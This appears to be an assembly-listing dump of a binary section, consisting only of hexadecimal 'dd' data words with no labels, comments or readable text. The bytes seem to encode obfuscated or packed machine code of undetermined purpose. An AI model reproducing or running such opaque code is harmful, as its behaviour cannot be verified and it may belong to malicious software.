		dd 4230BE32h, 0BF5DB132h, 56AEB13Dh, 8051E785h,	0D84AA664h
		dd 0AE65C390h, 0DD053480h, 3689B575h, 37720E3Dh, 3651EEB9h
		dd 42467BB9h, 0B057B132h, 88B48924h, 4F3BBCC3h,	0C9DB0B73h
		dd 88748D9Ch, 0BFEEDA91h, 565DB13Dh, 22C2F82Ch,	55617F97h
		dd 0E9C3EA33h, 0D914272h, 52B59A53h, 53FCBE52h,	30BAB132h
		dd 67669B3h, 3768063Dh,	56563D3Dh, 0D553B132h, 0D2DAB4D9h
		dd 56EAB13Fh, 4DE90852h, 0DEB5F25Ah, 565DB132h,	2324B253h
		dd 36505818h, 56ABBEDBh, 651DC332h, 111784B3h, 0E0F3D90Eh
		dd 514ECCA8h, 565DB7DAh, 6E2B7432h, 361E3BD6h, 0D5CAEE53h
		dd 59D6A14Dh, 56EA97B7h, 567B5832h, 0C8CAB132h,	0B9F71F17h
		dd 3037EA32h, 516D3CA8h, 5A23BE73h, 59D5B132h, 56EAB7BDh
		dd 56FBBE32h, 7DBAB132h, 0AD449EBh, 5047B033h, 3357B132h
		dd 274B4E92h, 583CD11Fh, 96EAB132h, 2211357Dh, 25D32EFh
		dd 5F317DB1h, 9E2FD1CBh, 55896A8Ah, 0EECAD0CAh,	0A92A4ECDh
		dd 56F9333Dh, 0BE15B132h, 56BAB13Ah, 0B670965Ah, 80B55F6Dh
		dd 0AFDCD769h, 56AE0853h, 0A529B132h, 56E75899h, 0B055B132h
		dd 0A35279A3h, 991CC50Ah, 0BFA7491Fh, 0A9A84A5Fh, 0AF14BE52h
		dd 4DED0864h, 37B5E2DBh, 567F5853h, 8029B132h, 4E1C364Bh
		dd 0F9DF4366h, 0E005D1FBh, 0AA13E820h, 37F456B3h, 36EAA1F0h
		dd 567E313Dh, 5053B132h, 2C5DB132h, 781DE068h, 370EE0EBh
		dd 56ABB6DBh, 75A7B632h, 6EB6125Bh, 0BAFE4467h,	56AE363Dh
		dd 59B4B132h, 62AEB132h, 623F5B82h, 0DEFAF0ACh,	0CD5A9F83h
		dd 926947C5h, 567858CEh, 4C2BB132h, 0D48B1B1Dh,	0B9668F84h
		dd 0AA57A78Ch, 56A55852h, 472FB132h, 704ECC78h,	0D4E080A2h
		dd 7AA92081h, 49B73152h, 0BECF9D82h, 5657B132h,	0D0413068h
		dd 0AED25EC9h, 56EAB6DBh, 6A1E5A32h, 2592719Eh,	0E8E73ACAh
		dd 36A95E87h, 5657A5DBh, 0CEC49832h, 29027F06h,	0D9CD2BB2h
		dd 0C3AE8C28h, 4888406h, 0F0CC0F1Fh, 65CFB03Bh,	0DDAFD1FBh
		dd 6928D0CAh, 0AC51BE32h, 59EAB131h, 5675BDB1h,	5036BE32h
		dd 595DB132h, 56AEB1B4h, 59503A32h, 56ABBDB2h, 5055BE32h
		dd 59EAB132h, 5675B1BDh, 5ACF4E32h, 565DB4DBh, 0FF635932h
		dd 23A8346Ch, 36FB493Ah, 0B1153054h, 56EF58F2h,	0CC5EB132h
		dd 3737DDE2h, 55A359CBh, 0D8A1B132h, 5657B136h,	379D0752h
		dd 0D3DA7139h, 56EAB10Ch, 56785852h, 48A5B132h,	6176FA36h
		dd 41C632E2h, 30512581h, 0DDCA42B9h, 56C75835h,	932EB132h
		dd 0C0960598h, 164BC53h, 0AE8128F3h, 1FE8AB0Ch,	5657F0DBh
		dd 0D7CDD132h, 0E4650DF3h, 9169D0EEh, 56665826h, 35D6B132h
		dd 0C965272Ah, 16F5681Dh, 4F64F1CDh, 3373FF6Eh,	0A9ED58F3h
		dd 45034ECDh, 6B75B132h, 1E184D75h, 998AAF82h, 0F46332D1h
		dd 0D6D0B31Dh, 132200E0h, 56DB58CEh, 8794B132h,	10DD5A6Bh
		dd 0E18DDDDh, 22359B24h, 0AFA2C4CDh, 0BF5FC4CDh, 56ABB13Bh
		dd 0ADBBEC0Ah, 0B45492CBh, 618A4D1Bh, 56BAB8DBh, 1B94BF32h
		dd 1D759A7Dh, 63BF3562h, 36ABB131h, 0D6EB7AB3h,	5B02E201h
		dd 9075B132h, 0A118B49Ch, 0CF0703C5h, 0D89A6975h, 370960B8h
		dd 5943E352h, 0D8D5B132h, 15C558A7h, 3F813E13h,	38F71F2Ch
		dd 0D072F99h, 96A5D0CAh, 566C353Dh, 0BFCBB132h,	56D5B139h
		dd 2FC973E6h, 34B07DB8h, 0D7174F3Dh, 8F3BC3F2h,	0D047D02Bh
		dd 5957B130h, 56ABA9BEh
		dd 56C65832h, 43FB132h,	0CD5869B4h, 0E7802E6Fh,	0B22CC87Ah
		dd 0D16D9F4Fh, 0AA123A89h, 94713152h, 59D28853h, 56E8E9B0h
		dd 56735832h, 28B7B132h, 5E488F7Fh, 3652F4CDh, 0F5BC31CAh
		dd 52D43253h, 1A51BE32h, 59EAB132h, 5675BBB9h, 56BF5832h
		dd 0BB5B132h, 0D5DE4B2Ch, 5957BD4Dh, 56AB83B6h,	56DB5832h
		dd 0A43BB132h, 0C871327Eh, 0F82761A3h, 0DFA44060h, 56AE3EDBh
		dd 56595832h, 8E1FB132h, 1192EFA9h, 35A0C694h, 0A7A687ACh
		dd 56BB3B3Dh, 0EEA5B132h, 0A9514ECDh, 56435952h, 78C4B132h
		dd 0E628856Fh, 20428A8Fh, 0DF73622Fh, 0D530F7EFh, 373DE8D8h
		dd 0BF2FD769h, 0EF36E0FCh, 56ABB137h, 56CF333Dh, 0BF8AB132h
		dd 5675B121h, 7F8E98D0h, 88410094h, 217651E2h, 4A82890Eh
		dd 37932AF0h, 0DADA1AC1h, 56EAB128h, 5661383Dh,	5953B132h
		dd 575DB132h, 7D60B1EEh, 0E82E1E5Ah, 261B1CAh, 3B3CEE96h
		dd 0AA154ECCh, 5365CEB1h, 56EF353Dh, 0ED3DB132h, 55052752h
		dd 1A6D46B3h, 0D5CABA65h, 59D3A14Dh, 56EA36B7h,	0D37AD132h
		dd 56BAB131h, 37BD5DB2h, 56AB5873h, 0EF6FB132h,	0DD3B1B2Bh
		dd 5C3CB575h, 84EAB132h, 88CFBD66h, 2D1AB054h, 5A023A47h
		dd 560758C7h, 0D558B132h, 56ABB135h, 56D4373Dh,	0DD13B132h
		dd 429CB575h, 58BAB132h, 702E4130h, 3484C1D7h, 0B5C9B77Ch
		dd 2992C8F2h, 0DD4E6380h, 0BF8ABD6Dh, 5675B139h, 0D3D5DD78h
		dd 0FE98E368h, 30D8FBE2h, 297479B3h, 56F55853h,	0D1DAB132h
		dd 56EAB13Ah, 56F5BE52h, 37BAB132h, 3659F6B9h, 56AE353Dh
		dd 0DE0B132h, 5AF43A53h, 7DB44D52h, 361FB56Dh, 0C52318Ah
		dd 8531D77Fh, 53B63253h, 56AEBDDBh, 0BFDCBB32h,	41AA1687h
		dd 21A5F9D0h, 469532D6h, 47F0BE31h, 0AEBAB132h,	56575873h
		dd 0B8F9B132h, 1C0321D1h, 0FC616790h, 0DF2C6819h, 36EBB06Eh
		dd 0FADE0F61h, 0BFE2D60Bh, 565DB13Ch, 0A8F68B26h, 525B6F92h
		dd 46D6EFA3h, 0EEB421CDh, 0A9154ECDh, 85F4D752h, 0D7DC338Fh
		dd 37DAC5ECh, 56AEB48Bh, 565B5832h, 5FC6B132h, 6052290Ah
		dd 0B537A5E8h, 591579FBh, 0DDDC4985h, 0FDAED0C3h, 56AEBADBh
		dd 0B06A7632h, 80E10166h, 0BE9920D0h, 0A917BADBh, 566658CDh
		dd 83FCB132h, 9D999A28h, 42E39D8Ah, 6595F5CCh, 3175ACB1h
		dd 0D8DAD0AAh, 56EAB139h, 5675B7DBh, 8B61B432h,	9F99FFA2h
		dd 56AEA3DBh, 8B147A32h, 0B04FF5FAh, 0CAD7735Fh, 7CF15382h
		dd 9477D4C9h, 59DAB13Ah, 565DB2BDh, 40663132h, 5657BEDAh
		dd 0ED158B32h, 0A8090632h, 87EAF46Eh, 51EFD1D9h, 0D34C7AB3h
		dd 3702AD40h, 8125D167h, 6949288Ah, 0BA20D038h,	99053052h
		dd 59A90C7Eh, 5675B7BCh, 5637BE32h, 375DB132h, 595275B1h
		dd 5657B0B8h, 0BFCB4932h, 56D5B139h, 63B9F0A2h,	3903CB5h
		dd 0DC7C67C4h, 0AE3DD0E1h, 3A15D752h, 0DD364828h, 5E42B977h
		dd 0E2D5B132h, 0D23B92A8h, 0A3746044h, 59B6F409h, 565DC1B0h
		dd 56A35832h, 6165B132h, 6821763h, 761650E0h, 6DFB9FE9h
		dd 0D17AA177h, 56BAB167h, 5644333Dh, 0E5CEB132h, 5658595Fh
		dd 8891B132h, 1DDFC6D4h, 0D6EEACB3h, 4E333A9Bh,	59DBE811h
		dd 565DB0B5h, 13694432h, 5657B1CEh, 1B424D32h, 36D5B132h
		dd 56EAB6DBh, 7373C632h, 0A242B374h, 565DBEDBh,	0CFEA9A32h
		dd 32BE398Bh, 0D163F789h, 0F57C9954h, 0AAAF7653h, 5675B133h
		dd 56BAA0DBh, 0A3ECC032h, 32038855h, 14335CDh, 597B6295h
		dd 5F3C1BCEh, 36EAB132h, 0DFAB3054h, 37753A3Dh,	13D64D53h
		dd 9F5248CEh, 5656373Dh, 945EB132h, 0BFB5B13Eh,	56EAB13Ah
		dd 5B2C6A33h, 492D8F4h,	565DBDDBh, 0FBD40332h, 68DC9055h
		dd 0E6304BF9h, 3680D0D9h, 0C0EA0E54h, 0AA993A53h, 594675B1h
		dd 565DA7BCh, 56BF5832h, 1DCFB132h, 568C14CDh, 31197D51h
		dd 0C7BACFD4h, 36EDBDC0h, 0A03BD752h, 95D6F7C8h, 56AE5953h
		dd 0D70DB132h, 0A6AA35D8h, 0A45ED135h, 0A66BD153h, 2FC9F3E3h
		dd 0BFDB8184h, 565DB13Dh, 0F0CE3610h, 45FDABF8h, 2592B48Dh
		dd 6573AD2Bh, 4060BEFBh, 5975B132h, 56BAA1B7h, 56565832h
		dd 86AFB132h, 207F5CDFh, 75ED15AFh, 590E82EFh, 56EABDBEh
		dd 50FFBE32h, 59BAB132h, 565DB1B7h, 0AAF33832h,	0E8ED3ACAh
		dd 0AEAC5E87h, 59D58EB1h, 56E82DB6h, 57FABE32h,	0A3BAB132h
		dd 59A28EB1h, 56AE90B7h, 91D44432h, 8B424D26h, 362A4ECDh
		dd 56EABBDAh, 90A34732h, 10F5A39Eh, 0DD4AE166h,	0E1A1EBEBh
		dd 29D4D0E8h, 0D2A4B136h, 56D5B143h, 56EABADBh,	0B1D12D32h
		dd 7E8990CDh, 0D7619F3Eh, 56BD3C3Dh, 58BEB132h,	22ABB132h
		dd 0C3CEB242h, 4A2DCEC6h, 0C205BE26h, 5AC532FFh, 68D9BE32h
		dd 59AEB132h, 5657B0BCh, 23424832h, 59D5B132h, 56EA9DB5h
		dd 459DD132h, 0BBBAB132h, 3CE2C379h, 27A2909Ch,	0D3A28E93h
		dd 0F614B9DAh, 0BE8B56BBh, 56EAB139h, 0BA7D8E8Ch, 0B23520C5h
		dd 0E976DB1h, 0AAEB4E53h, 5656353Dh, 0BF5EB132h, 56D5B13Ah
		dd 70FE847Ch, 0D560CAB2h, 59AE76B1h, 565DA1B9h,	56A55832h
		dd 0F3DCB132h, 0F1DB2949h, 59998FE0h, 0A9FC580Ah, 598D4ECDh
		dd 56BAB6B2h, 57DFBE32h, 0AAAEB132h, 5347CEB1h,	56E5353Dh
		dd 0D520B132h, 59ECA14Dh, 567516B7h, 59FB4932h,	565DBDB5h
		dd 5022BE32h, 5957B132h, 56ABB1BAh, 52923A32h, 5AB53ACEh
		dd 0DF7A4452h, 56BAB130h, 0BF3CD052h, 56AEB1CEh, 5657A2DBh
		dd 0A51C8C32h, 0BB4379Fh, 35B368AFh, 0B8511FC5h, 0FC984EE0h
		dd 5959F6B9h, 56AEA5BDh, 56585832h, 9D98B132h, 0DE07EEBh
		dd 0FEBFDE8Eh, 0BC99DCB2h, 4753D1BEh, 2C5DB132h, 0CB801E15h
		dd 5DD0629Eh, 0BCD99DD5h, 0DD9A1C20h, 37333A54h, 3679EEB9h
		dd 0B6DD838Bh, 70E60F41h, 36CFB292h, 4D993054h,	0BF733036h
		dd 37C18A43h, 56EACADBh, 0DD7A4832h, 56BAB136h,	373CD152h
		dd 0BFAAF6B9h, 5657B13Eh, 94E79295h, 170C4459h,	0E5BBEB48h
		dd 0A379EEB9h, 0BFBEEE19h, 565DB13Fh, 1940FA2Bh, 7116ADF0h
		dd 6AFF33CEh, 533E32D5h, 469532CAh, 63F0BE31h, 0BFBAB132h
		dd 565DB126h, 0F43A5E4Ch, 0C7993702h, 4C6822D2h, 3D051E3Bh
		dd 5495F851h, 567D5873h, 983AB132h, 0E1B68F99h,	5F479FD3h
		dd 9E57B132h, 0E5634327h, 0A3074D65h, 368A6819h, 598D3A54h
		dd 56BAB1B7h, 37A4D032h, 57AFEDBBh, 5651333Dh, 0E5CBB132h
		dd 37223A8Ch, 0A9154E8Ah, 53CC44CDh, 59BAB132h,	565DA8BCh
		dd 0D5A1D132h, 5657B132h, 56ABBADAh, 6526332h, 15AEB4B2h
		dd 5C05B456h, 0FD49D06Ah, 56495952h, 0D5EEB132h, 6CF259AAh
		dd 0FA6B21DDh, 0B43352B6h, 0BCB2E7B3h, 0D7130572h, 0F939FC5h
		dd 37AE063Dh, 0A953D6DBh, 0D458D1CDh, 56ABB130h, 8760EF65h
		dd 598AD053h, 5675B3BDh, 306B3A32h, 3C9642B3h, 0AAEB3A53h
		dd 56473B3Dh, 5D42B132h, 33D5B132h, 0F01B580Dh,	6934757Bh
		dd 0AF730967h, 565458F1h, 7891B132h, 4A9CB5Fh, 658F2D3h
		dd 56D43D3Dh, 712B132h,	0C1FB0F52h, 0ECDCB96Fh,	53C6C2Dh
		dd 56AEBBDBh, 436E8E32h, 4320079Bh, 0BE353861h,	56EAB132h
		dd 0A49F3068h, 0BFBD4136h, 565DB121h, 9D20B933h, 1DEE2B98h
		dd 4B0D3C7Ch, 0AE620DF1h, 59065361h, 5675B6BEh,	5739BE32h
		dd 0AF5DB132h, 0CFCD152h, 0BF361882h, 56ABB135h, 0E781DC8Ah
		dd 378E6170h, 0E0CD2BBFh, 0EE42B6DDh, 565DB156h, 0A72FD752h
		dd 0DE58314Ah, 56ABB132h
		dd 53065953h, 0DD12B132h, 567E5839h, 8A54B132h,	7D8BD475h
		dd 1858EC22h, 0A3968A60h, 56AB04DBh, 453DD132h,	0C3EAB132h
		dd 6C31879Bh, 4DB2D55Ah, 14AAD8Ah, 82FC52E2h, 40EA9ECh
		dd 0D7B063Dh, 529EB253h, 56EAB6DBh, 97BD0132h, 1D77CD6h
		dd 0D4527009h, 56AEB196h, 565D3A3Dh, 5342B132h,	40D5B132h
		dd 0C170A1A0h, 3665FA31h, 327C3052h, 0BE5DC791h, 56AEB123h
		dd 38A18CE5h, 6A976AACh, 0AAE68BDh, 334B66A2h, 0BF14EFB2h
		dd 56BAB13Ah, 0D2000F36h, 592BA340h, 59968A53h,	56AB90B0h
		dd 0F16BD132h, 0A3B1A22Ch, 56575853h, 0DDB5B132h, 565DB135h
		dd 0AE25D752h, 5936EF64h, 56ABB0BEh, 0D63C4D32h, 36EAB132h
		dd 30BF063Dh, 371A968Bh, 565DC3DBh, 0CC234D32h,	51A73C25h
		dd 0A3784ECBh, 56D5D3DBh, 56F85832h, 0CE19B132h, 0C0EE7DF9h
		dd 2FCB5AEh, 1169A1E7h,	0A2E53014h, 0C6962BBFh,	0BEB5B6C2h
		dd 56EAB135h, 0CFB38CD5h, 59BA40E9h, 565DB1B5h,	36CFEB32h
		dd 5654383Dh, 902BB132h, 3C1F30FCh, 37A61827h, 591562CDh
		dd 0D0B54885h, 565DB120h, 56AEBCDBh, 0AFD8ED32h, 6DD93E3Dh
		dd 437FDD25h, 0D8B9B6Eh, 5675B6DBh, 0A4E09432h,	83A5A8F5h
		dd 572CBE6Bh, 0A357B132h, 56ABA2DBh, 0AA552032h, 6A5B7797h
		dd 0DA3EF660h, 2554561Fh, 24491076h, 56BA586Ah,	0E63CB132h
		dd 0F28D3129h, 0AC9E6463h, 8848F329h, 6A20FAACh, 0BF797724h
		dd 565DB120h, 0CAF85CA9h, 72F2DBF6h, 0C43C9B2Dh, 3E374615h
		dd 0BFBFFCCEh, 5675B120h, 1EC57E71h, 0EE8E7EF5h, 0A894BBD6h
		dd 530AA820h, 0BA20742Dh, 9154D752h, 0BE8BC8C1h, 5675B132h
		dd 40503068h, 365A4135h, 8911BE63h, 37AC3A6Bh, 4542D1CEh
		dd 74D5B132h, 64708CE1h, 183D4183h, 79A9EB9Eh, 0FAC627FFh
		dd 0EC239523h, 51B8078Ah, 4D14D752h, 0EEE30EC5h, 0DD8BD110h
		dd 0D67AB977h, 56BAB133h, 0BF5A38CBh, 56AEB13Fh, 93F1742Ah
		dd 67F95F96h, 0A7679D15h, 5AAF3A6Bh, 58F7BE52h,	0BFBAB132h
		dd 565DB13Bh, 6B99BFC8h, 0FF037424h, 1122D065h,	5157BE36h
		dd 36EAB132h, 2E823054h, 1331D0F0h, 0DB524D22h,	56AEB127h
		dd 5657A1DBh, 0EDBDCA32h, 66D6A6CAh, 5627F863h,	0ED96B6BBh
		dd 5AFD3845h, 565DA1DBh, 78515F32h, 356DD01Fh, 61B9F5FCh
		dd 6F242303h, 42AF3AF5h, 463238CBh, 993BD752h, 0D452DEC7h
		dd 56AEB12Bh, 5657A5DBh, 5A421132h, 0DD51250Bh,	0E1906DA1h
		dd 0A3B764h, 0F4345025h, 0BF3CD040h, 56AEB13Bh,	940399F9h
		dd 0CA769E91h, 30B57847h, 0EFC8AE8Ch, 81A3AA4h,	0BE43D153h
		dd 565DB122h, 0DD302F09h, 7744658Fh, 0BD965B4Dh, 4FC59DEh
		dd 56EA3D3Dh, 372EB132h, 0AFBAA1F0h, 56565852h,	0D762B132h
		dd 8682252Ah, 0ECBEF123h, 0D313449Fh, 5103976Bh, 0EF13D175h
		dd 4552A6BEh, 9C5DB132h, 0F0CE3610h, 45FDABF8h,	2592B48Dh
		dd 1873AD2Bh, 0CBA0130h, 4C1DD06Dh, 0BF12A641h,	565DB135h
		dd 0E743BD4Fh, 0A999832Bh, 0BFA0A087h, 56C15835h, 8734B132h
		dd 0FB38D60Bh, 3646A02h, 747D0563h, 0C2569387h,	0D3DAFDC7h
		dd 51472EE9h, 862A4DC7h, 0EC8CD152h, 81FE2B26h,	0CEBD153h
		dd 565DA1DBh, 60EA5332h, 92F2FBDBh, 3E96982Fh, 573F4A73h
		dd 48BD04Eh, 5675BCDBh,	3D373432h, 0C90FF5BCh, 976CE3ABh
		dd 0DCDA1C6Ch, 5144097Bh, 56D5BDDBh, 0D77F6732h, 91269A35h
		dd 1B1999A2h, 46B4E0A3h, 0AEAEB132h, 0D1CC8EF5h, 46B09131h
		dd 0F904CD5Fh, 0A997191Ah, 0E827D1E2h, 68517FD5h, 0DB52D16Ah
		dd 56AEB132h, 0C36D0CBh, 56ABBFDBh, 92374A32h, 0B6EE4C52h
		dd 934F6AFEh, 0DB03E032h, 0B9E5F8B0h, 512ABE35h, 3657B132h
		dd 8314D7CEh, 0E1DAD0ADh, 0DCE5BD72h, 5675B138h, 0D7E0E252h
		dd 22C7BBE2h, 8E25D076h, 56503D3Dh, 0DDA4B132h,	56D5B133h
		dd 0D5E5E3C7h, 5675B13Ah, 56B8393Dh, 373DB132h,	0DEA1803Dh
		dd 5657B13Dh, 56ABBBDBh, 90D15A32h, 9F6CF400h, 0CEE0407h
		dd 56BB383Dh, 55A5B132h, 56A458F1h, 6C74B132h, 0D0AAE54Fh
		dd 56677Fh, 0E76838CBh,	0AE725812h, 5353D0CBh, 0E95DB132h
		dd 0B52E4F0Ah, 0F5144F1h, 0B8Fh, 0B70F6000h, 8F0FF6h, 61000000h
		dd 14E952h, 47690000h, 0BCA9EB68h, 6CD588D5h, 825A1560h
		dd 0B67AF512h, 0E80226h, 5A000000h, 9F5EA81h, 8B0F07F0h
		dd 14h,	0B48EBB60h, 8E94F9Eh, 73000000h, 25330CFBh, 619B5921h
		dd 12E9h, 0D6F3EA00h, 6C1DD919h, 8763A9E8h, 83F4191Bh
		dd 0F346E2Ch, 186h, 52F8FC00h, 0B1828BF8h, 6007E920h, 800F60h
		dd 61000000h, 612CE280h, 0C64E6DB9h, 0E1F7F941h, 8D0F5AFCh
		dd 1Ah,	13E960h, 7EF50000h, 4A0E5765h, 0D57A0A24h, 0A6D195A6h
		dd 0D61E61A9h, 3905615Eh, 0E9000030h, 10h, 0EEDD6106h
		dd 4864A829h, 0CEF08732h, 39130CDBh, 0FFFFFF25h, 9E9607Fh
		dd 12000000h, 79D4B3D7h, 692AF1A5h, 810F61F8h, 1Eh, 18810Fh
		dd 13E90000h, 0A8000000h, 7459C083h, 5732F830h,	0B8B0B285h
		dd 9C1FC6DBh, 8289C63Fh, 7E920B1h, 12E9h, 0BBED7E00h, 0DC12D329h
		dd 4D6C90CBh, 7DAB23D4h, 5AE89F1Bh, 63C88060h, 870F57h
		dd 5A000000h, 890F5961h, 15h, 10E9h, 50E67100h,	9626C269h
		dd 0D05D324Eh, 0F7712A29h, 0EE9C3FCh, 0C000000h, 17EBDEF9h
		dd 56912C5Ch, 0C2AAE3E8h, 840F5129h, 0Ch, 7E9h,	5EADFB00h
		dd 0CCA0DC21h, 88C0F52h, 60000000h, 0F5FD381h, 0E861699Fh
		dd 0
		dd 4AEA815Ah, 0E907F00Bh, 6, 0BFCD4E8Bh, 830F1F1Fh, 1
		dd 18F0FF5h, 0F8000000h, 0F60C88Bh, 48Ch, 0DDBB6600h, 61C2B529h
		dd 0FFFE45E8h, 0F78A60FFh, 0EEE1E381h, 33616E80h, 0F1F7F8D2h
		dd 13E9h, 0B2909100h, 51AC7EDh,	93AC5D16h, 1DA093EFh, 7D2298EDh
		dd 5AF8C28Bh, 0BE960h, 662E0000h, 0EB7851D1h, 2CB32FD9h
		dd 0FE93Eh, 3AA00000h, 2C6653DCh, 0FDEC8EE3h, 45CD2C38h
		dd 0F596197h, 18Eh, 0FC3F500h, 138Bh, 0E9FC6000h, 0Bh
		dd 0A1A2A58h, 0F794A210h, 613D40A9h, 0F960C08Bh, 7E9h
		dd 1D6C4000h, 0D10567C1h, 60C08B61h, 4EF68166h,	0F3BF0F7Bh
		dd 0A0858D61h, 0F507EFCEh, 7E9h, 2CF95A00h, 0CE4EBA9Ch
		dd 66FCD0FFh, 8DFCC18Bh, 0F009C485h, 13E907h, 149B0000h
		dd 3D4616BCh, 5A0A04AFh, 85849E81h, 14B39781h, 4D858934h
		dd 0F507E921h, 0B23858Dh, 800F07F0h, 7,	18A0Fh,	89F50000h
		dd 0E91F1585h, 0FE907h,	0F940000h, 0D816C6F0h, 0BB9ECE5Dh
		dd 0B7BF75A0h, 0B885h, 810F0000h, 1, 0A8F0FF5h,	60000000h
		dd 840Fh, 5F560000h, 0FC00B61h,	15584h,	0BE900h, 0E2AC0000h
		dd 0BA8D1ABFh, 670FC175h, 5985C633h, 5607E926h,	68A0Fh
		dd 0F5600000h, 61B7F280h, 0D6B70F60h, 6127C080h, 0C530DF68h
		dd 800F60A9h, 5, 0E0283BEh, 0BE92Eh, 18020000h,	0A3EDD65Fh
		dd 7EB47740h, 0B5FF6116h, 7E90B11h, 6E9h, 5868900h, 8DD7710Ah
		dd 0EC9FDB85h, 0D0FFF507h, 1840Fh, 50F90000h, 298D8DF9h
		dd 0F907E92Bh, 178C0Fh,	0E9600000h, 0Ch, 0A6FDFA1Dh, 5022DD0Dh
		dd 0F39C3355h, 1ABBB66h, 0CE95161h, 78000000h, 0EA02B811h
		dd 9CB89B42h, 6AC96B46h, 12E96004h, 0D8000000h,	0A34C92BAh
		dd 0CAB5DA51h, 7E3D0FF7h, 333D02FDh, 5E86064h, 4D000000h
		dd 0D80FEC60h, 0C7B70F5Eh, 686161h, 0E9000010h,	0Eh, 6D4C84F7h
		dd 59926900h, 0F31C3436h, 0B5FF25E0h, 7E9120Dh,	7880FF5h
		dd 60000000h, 0B5C78B66h, 0D0FF61E9h, 0FE9h, 95A24300h
		dd 3B3EFBB5h, 0C41C5753h, 0CB5AF4EAh, 120DBD8Bh, 870F07E9h
		dd 1, 3C7F03F8h, 0F8C781F9h, 60000000h,	0AE8h, 20B45100h
		dd 0F822B522h, 5E4CF594h, 2447C761h, 60000020h,	0C8D0Fh
		dd 7E90000h, 1000000h, 0E50CF554h, 9D8D7D3Eh, 7E92089h
		dd 2BE28160h, 0F967D34Bh, 0F9038B61h, 0A860Fh, 0BE600000h
		dd 7DA78AEFh, 61D2BF0Fh, 840FC00Bh, 26h, 0C8F0Fh, 7E90000h
		dd 0CE000000h, 3374D2D5h, 8BB98Dh, 44389F8h, 860FF560h
		dd 5, 5C88166h,	0F6B9612Ah, 0E800234Ch,	7, 6425709h, 0BB3C7E1Ah
		dd 7E5BB4C6h, 0E9F9605Fh, 0Fh, 0EF1E78EEh, 9BBBC734h, 41669E13h
		dd 61C6AEC9h, 70D0C781h, 0F1810000h, 3E9E50BCh,	1C1068h
		dd 830F00h, 58000000h, 0F88B6051h, 61D78B66h, 0F37FF5Bh
		dd 815ADAB7h, 0B284E7EAh, 0D880F59h, 0E8000000h, 7, 0BC4F88EFh
		dd 5B924703h, 0F779EA81h, 0D98B0631h, 0C2C6C281h, 0EF8A3F4Fh
		dd 80601789h, 8361D1D9h, 830F02EFh, 4, 9A1FB966h, 0E8834F4Fh
		dd 0B2850F01h, 0F8FFFFFFh, 0F8C8D8Dh, 6A07F0h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0CE953C3h, 4A000000h, 843C03C3h, 758AC8F3h, 0B0983311h
		dd 0D8D891Eh, 8907E932h, 0E915719Dh, 0E585C707h, 5007E922h
		dd 6A000064h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0FAFDC353h, 4CF081DDh,	0C71EB541h
		dd 0E922B185h, 7, 1CD38000h, 1F55B5FFh,	8D8907E9h, 7E93209h
		dd 228595FFh, 0BE907E9h, 9A000000h, 0BE98090Dh,	0DFC1A589h
		dd 816616D7h, 6AFD32C6h, 3195FF00h, 8B07E90Ch, 9D1FEBC0h
		dd 228DF298h, 9C91D2A0h, 5DE860E9h, 6970FA1Eh, 3A34E422h
		dd 77858A78h, 7BEF2BE3h, 11E8809Ah, 87000000h, 92E00A8Ah
		dd 50A0B04Ah, 0D74DC1C3h, 41BDE674h, 5E952h, 5B950000h
		dd 5FE8A2DCh, 98D8B5Bh,	8107E909h, 5FACC3h, 0B58B5000h
		dd 7E91855h, 17B46859h,	9E90000h, 0D1000000h, 0D63AB217h
		dd 0A54D092h, 6820F5Ah,	81000000h, 790FC0CEh, 6633FF3Ah
		dd 6058F08Bh, 0CAB70F56h, 8161F85Ah, 0BDBEA0E8h, 9589603Eh
		dd 7E901BDh, 1F4D8D2Bh,	816107E9h, 35A8B1F0h, 8E923h, 35A20000h
		dd 0B5844E50h, 0F0811954h, 610C5AF6h, 389F88Bh,	5E9h, 9AFA6800h
		dd 0EB837469h, 0CAB96604h, 1EA8317h, 17850Fh, 81660000h
		dd 0E9051CD7h, 2Bh, 9B8B6C26h, 44D69403h, 3F35FB5Ah, 0B9665339h
		dd 0E95F4691h, 0FFFFFF85h, 5A37651Eh, 51FB46ACh, 83F072E2h
		dd 0A0C9EB48h, 0E9EFCFB3h, 0Bh,	5DC4A548h, 0
		dd 0E9000000h, 0B2Ch, 0F0120068h, 425AE907h, 2268FFFAh
		dd 0E907F013h, 0FFFA4250h, 0F014F068h, 4246E907h, 0BD68FFFAh
		dd 0E907F015h, 0FFFA423Ch, 0F0176468h, 4232E907h, 368FFFAh
		dd 0E907F019h, 0FFFA4228h, 0F01A2D68h, 421EE907h, 67BFFFFAh
		dd 71AE23BBh, 8B8435ADh, 9BF65B43h, 0ACEA6F77h,	5AC47268h
		dd 0EEF41876h, 0FDE5316Bh, 298405Ch, 1288584Fh,	0E04CE7A5h
		dd 98A92F94h, 584FB31Dh, 0C036E88h, 0DA6FC6DCh,	7D5D2BC8h
		dd 6BA8A836h, 0ABEFF279h, 6E6DA928h, 7A9D8F0Ch,	3A6E9956h
		dd 5633E8F5h, 8C17DA95h, 0CE267492h, 0BA14003Ah, 42h, 801653D2h
		dd 9EF69B10h, 2734A928h, 6A64D4C3h, 27659956h, 0E23E83E7h
		dd 6A5AC66Dh, 0DD1E9956h, 0AAD47A9Ch, 0DC728E3Ch, 6D96D3C6h
		dd 53B3CF2Ch, 41AFC7h, 0BFDB14h, 8C90000h, 0A0AFCB0Bh
		dd 584F9F39h, 5036E88h,	1672D3C1h, 422FD7F2h, 167B9F4Bh
		dd 8D55B1FFh, 2DC9564Ch, 18A13F89h, 8C9D101h, 0C0A5C111h
		dd 0C8180F83h, 5AB8198Bh, 24B179BAh, 83C9C325h,	32E38818h
		dd 0A927FFh, 0ED7AEBF3h, 0A842E9FBh, 0D4A141B3h, 18DA1587h
		dd 0F9DD946Ch, 9C85843h, 7ED3CB0Bh, 5803FC20h, 232E0709h
		dd 9397805h, 574F0000h,	61BE138Bh, 7B9425BDh, 8B864B53h
		dd 9CFA5F47h, 6AF46278h, 0DEC40806h, 0EDF5217Bh, 0F2E8306Ch
		dd 298485Fh, 0F05CD755h, 0A8A92F96h, 0DF7E43EDh, 0FBF802C2h
		dd 0C03351E0h, 3F85052Bh, 8760E2A1h, 0BD9127ECh, 0DFC70457h
		dd 0EFF7237Ah, 8C16536Fh, 92B327E1h, 7BE72830h,	0D3BBC74Fh
		dd 19D6CA0Bh, 89A782F3h, 0C2425990h, 298F4429h,	117586A9h
		dd 575AB29Ah, 9D497599h, 0FEE20511h, 0E37513h, 4F2B0000h
